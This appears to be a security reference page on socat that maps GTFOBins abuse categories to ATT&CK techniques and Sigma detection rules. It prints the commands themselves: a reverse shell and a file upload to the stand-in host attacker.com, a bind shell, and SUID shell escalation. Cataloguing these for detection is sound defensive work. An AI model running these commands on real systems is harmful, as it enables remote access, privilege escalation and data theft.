Identifier / Programs / Linux and Unix
socat
Multipurpose relay (SOcket CAT). tldr-pages
GTFOBins bind-shell, download, file-read, file-write, reverse-shell, shell, upload 3 Sigma rules name it 2 ATT&CK techniques 7 documented commands
How socat is abused
bind-shell T1059.004 Command and Scripting Interpreter: Unix Shell
download T1105 Ingress Tool Transfer
-ufile-read
-ufile-write
-ureverse-shell T1059.004 Command and Scripting Interpreter: Unix Shell
shell T1059.004 Command and Scripting Interpreter: Unix Shell
upload
-uEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for socat.
7 documented commands
bind-shell unprivileged, with sudo, as SUID
socat tcp-listen:12345,reuseaddr,fork exec:/bin/sh,pty,stderr,setsid,sigint,saneIdentifyAs SUID:
socat tcp-listen:12345,reuseaddr,fork 'exec:/bin/sh -p,pty,stderr,setsid,sigint,sane'
Trips 1 Sigma rule: lowLinux Network Service Scanning Tools Execution by Alejandro Ortuno, oscd.community, Georg Lauenstein (sure[secure])
download unprivileged, with sudo, as SUID
socat -u tcp-connect:attacker.com:12345 open:/path/to/output-file,creatIdentifyTrips 1 Sigma rule: lowLinux Network Service Scanning Tools Execution by Alejandro Ortuno, oscd.community, Georg Lauenstein (sure[secure])
file-read unprivileged, with sudo, as SUID
socat -u file:/path/to/input-file -IdentifyTrips 1 Sigma rule: lowLinux Network Service Scanning Tools Execution by Alejandro Ortuno, oscd.community, Georg Lauenstein (sure[secure])
file-write unprivileged, with sudo, as SUID
The echo command is actually used.
socat -u 'exec:echo DATA' open:/path/to/output-file,creatIdentifyTrips 1 Sigma rule: lowLinux Network Service Scanning Tools Execution by Alejandro Ortuno, oscd.community, Georg Lauenstein (sure[secure])
reverse-shell unprivileged, with sudo, as SUID
socat tcp-connect:attacker.com:12345 exec:/bin/sh,pty,stderr,setsid,sigint,saneIdentifyAs SUID:
socat tcp-connect:attacker.com:12345 'exec:/bin/sh -p,pty,stderr,setsid,sigint,sane'
Trips 1 Sigma rule: lowLinux Network Service Scanning Tools Execution by Alejandro Ortuno, oscd.community, Georg Lauenstein (sure[secure])
shell unprivileged, with sudo, as SUID
socat - exec:/bin/sh,pty,ctty,raw,echo=0IdentifyAs SUID:
socat - 'exec:/bin/sh -p,pty,ctty,raw,echo=0'
Trips 1 Sigma rule: lowLinux Network Service Scanning Tools Execution by Alejandro Ortuno, oscd.community, Georg Lauenstein (sure[secure])
upload unprivileged, with sudo, as SUID
socat -u file:/path/to/input-file tcp-connect:attacker.com:12345IdentifyTrips 1 Sigma rule: lowLinux Network Service Scanning Tools Execution by Alejandro Ortuno, oscd.community, Georg Lauenstein (sure[secure])
All 7 commands the identifier reads trip a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for socat. The identifier reads the line of each that runs socat.
What detects it
Everyday use
Listen to a port, wait for an incoming connection, and transfer data to STDIO
sudo socat - TCP-LISTEN:8080,forkIdentifyTrips 1 Sigma rule: lowLinux Network Service Scanning Tools Execution by Alejandro Ortuno, oscd.community, Georg Lauenstein (sure[secure])
Listen on a port using SSL and print to stdout
sudo socat OPENSSL-LISTEN:4433,reuseaddr,cert=./cert.pem,cafile=./ca.cert.pem,key=./key.pem,verify=0 STDOUTIdentifyTrips 1 Sigma rule: lowLinux Network Service Scanning Tools Execution by Alejandro Ortuno, oscd.community, Georg Lauenstein (sure[secure])
Create a connection to a host and port, transfer data in STDIO to connected host
sudo socat - TCP4:www.example.com:80IdentifyTrips 1 Sigma rule: lowLinux Network Service Scanning Tools Execution by Alejandro Ortuno, oscd.community, Georg Lauenstein (sure[secure])
Of the 3 examples the identifier reads, 3 match GTFOBins abuse or trip a Sigma process-creation rule.